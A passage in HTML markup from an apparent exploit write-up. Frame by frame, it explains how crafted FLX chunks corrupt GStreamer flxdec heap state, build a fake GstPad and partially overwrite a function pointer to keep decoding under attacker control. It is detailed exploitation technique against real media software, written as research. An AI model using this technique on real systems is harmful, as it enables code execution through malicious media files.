<span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">FLX_COLOR256; copy a few more bits to corrupt the </span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">GstPad</span><span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">, including replacing </span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">GstPad::peer</span><span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> and </span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">GstPad::parent</span><span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> with pointers to the </span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">GstPad</span><span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> itself. Again, these values are not in the original input file, and only placed there by the input buffer corruption in frame 1 above.</span></div>
</li>
<li dir="ltr" style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; list-style-type: disc; text-decoration: none; vertical-align: baseline;"><div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">FLX_LC; set </span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">flxdec->size</span><span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> to 8. Maybe superfluous.</span></div>
</li>
<li dir="ltr" style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; list-style-type: disc; text-decoration: none; vertical-align: baseline;"><div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">FLX_LC; set </span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">flxdec->converter</span><span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> to offset 0x24128, which is inside the </span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">GstPad</span><span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> object we are busy corrupting and faking.</span></div>
</li>
<li dir="ltr" style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; list-style-type: disc; text-decoration: none; vertical-align: baseline;"><div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">FLX_COLOR256; write the value 0, this effectively sets </span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">GstPad::flags</span><span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> to 0.</span></div>
</li>
<li dir="ltr" style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; list-style-type: disc; text-decoration: none; vertical-align: baseline;"><div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">FLX_LC; set </span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">flxdec->converter</span><span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> to offset 0x241c8, which is inside the </span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">GstPad</span><span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> object.</span></div>
</li>
<li dir="ltr" style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; list-style-type: disc; text-decoration: none; vertical-align: baseline;"><div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">FLX_COLOR256; write the value 1, this effectively set </span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">GstPad::mode</span><span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> to </span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">GST_PAD_MODE_PUSH</span><span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">.</span></div>
</li>
<li dir="ltr" style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; list-style-type: disc; text-decoration: none; vertical-align: baseline;"><div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">FLX_LC; set </span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">flxdec->converter</span><span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> to offset 0x242d0, which is inside the </span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">GstPad</span><span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> object.</span></div>
</li>
<li dir="ltr" style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; list-style-type: disc; text-decoration: none; vertical-align: baseline;"><div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">FLX_COLOR256; write the value 0, this effectively sets </span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">GstPad::num_probes</span><span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> to 0.</span></div>
</li>
<li dir="ltr" style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; list-style-type: disc; text-decoration: none; vertical-align: baseline;"><div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">FLX_LC; set </span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">flxdec->converter</span><span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> to offset 0x3a118, which is a safe place for frame tick as per frame 1.</span></div>
</li>
<li dir="ltr" style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; list-style-type: disc; text-decoration: none; vertical-align: baseline;"><div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">FLX_LC; set </span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">flxdec->delta_data</span><span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> to offset 0x24128, which is a read of </span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">GstPad::parent</span><span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> (which we set to point to the </span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">GstPad</span><span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> itself, at offset 0x24100).</span></div>
</li>
<li dir="ltr" style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; list-style-type: disc; text-decoration: none; vertical-align: baseline;"><div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">FLX_LC; set </span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">flxdec->delta_data</span><span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> to offset 0x3a110, which is </span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">flxdec->srcpad</span><span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">.</span></div>
</li>
<li dir="ltr" style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; list-style-type: disc; text-decoration: none; vertical-align: baseline;"><div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Allow frame tick, which copies the value of the </span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">GstPad</span><span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> pointer into </span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">flxdec->srcpad</span><span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">.</span></div>
</li>
</ul>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<br /></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Right here is a critical time in the exploit. We need to have corrupted enough of the gstreamer decoder state to prevent the decode loop from stopping. The key code line to cause continuation is here in </span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">gstflxdec.c</span><span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">:</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<br /></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> res = gst_pad_push (flxdec->srcpad, out);</span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">We need this to return </span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">GST_FLOW_OK</span><span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> (0). It succeeds because we’ve pointed </span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">flxdec->srcpad</span><span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> to a thoroughly hacked up </span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">GstPad</span><span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">, which streamlines code flow through </span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">gst_pad_push()</span><span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">, to </span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">return 0</span><span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> as easily as possible. In the end it wasn’t that easy -- various pointers are chased even during the simplest code path, and a function pointer is called, even when you clear all the flags and special status variables. We eventually win the “</span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">return 0</span><span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">” when </span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">flxdec->srcpad->peer->chainfunc</span><span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> is called, which we set to our special gadget we created with a partial function pointer overwrite.</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<br /></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: underline; vertical-align: baseline; white-space: pre-wrap;">Frame 3</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Things are a bit more sane now. We can do a simpler amount of work per frame tick without having to worry about running out of frame ticks. We can use the copy / addition primitive available at frame tick as many times as necessary.</span></div>
<ul style="margin-bottom: 0pt; margin-top: 0pt;">
<li dir="ltr" style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; list-style-type: disc; text-decoration: none; vertical-align: baseline;"><div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">FLX_LC; set </span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">flxdec->name</span><span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> to offset 0x3a148, which now points to </span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">flxdec->frame_time</span><span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">. </span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">flxdec->name</span><span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> is not special in the code, it’s just a convenient place to build and store a derived pointer value for later use.</span></div>
</li>
<li dir="ltr" style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; list-style-type: disc; text-decoration: none; vertical-align: baseline;"><div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">FLX_LC; set </span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">flxdec->delta_data</span><span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> to offset 0x3a020, which points to </span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">flxdec->name</span><span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">.</span></div>
</li>
<li dir="ltr" style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; list-style-type: disc; text-decoration: none; vertical-align: baseline;"><div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">FLX_LC; set </span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">flxdec->delta_data</span><span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> to offset 0x3cf4a, which is inside the input file buffer.</span></div>
</li>
<li dir="ltr" style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; list-style-type: disc; text-decoration: none; vertical-align: baseline;"><div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Frame tick: copies from </span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">flxdec->name</span><span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">, which contains the value </span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">&flxdec->frame_time</span><span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">, to a point in the input file buffer; we’ll need it later.</span></div>
</li>
</ul>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<br /></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: underline; vertical-align: baseline; white-space: pre-wrap;">Frame 4</span></div>
<ul style="margin-bottom: 0pt; margin-top: 0pt;">
<li dir="ltr" style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; list-style-type: disc; text-decoration: none; vertical-align: baseline;"><div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">FLX_LC; set </span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">flxdec->next_time</span><span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> to the 8 byte value 0x140, which is a constant we want our addition engine to add.</span></div>
</li>
<li dir="ltr" style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; list-style-type: disc; text-decoration: none; vertical-align: baseline;"><div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">FLX_LC; set </span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">flxdec->delta_data</span><span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> to offset 0x3a108, which will cause a read of </span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">flxdec->sinkpad</span><span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">.</span></div>
</li>
<li dir="ltr" style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; list-style-type: disc; text-decoration: none; vertical-align: baseline;"><div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
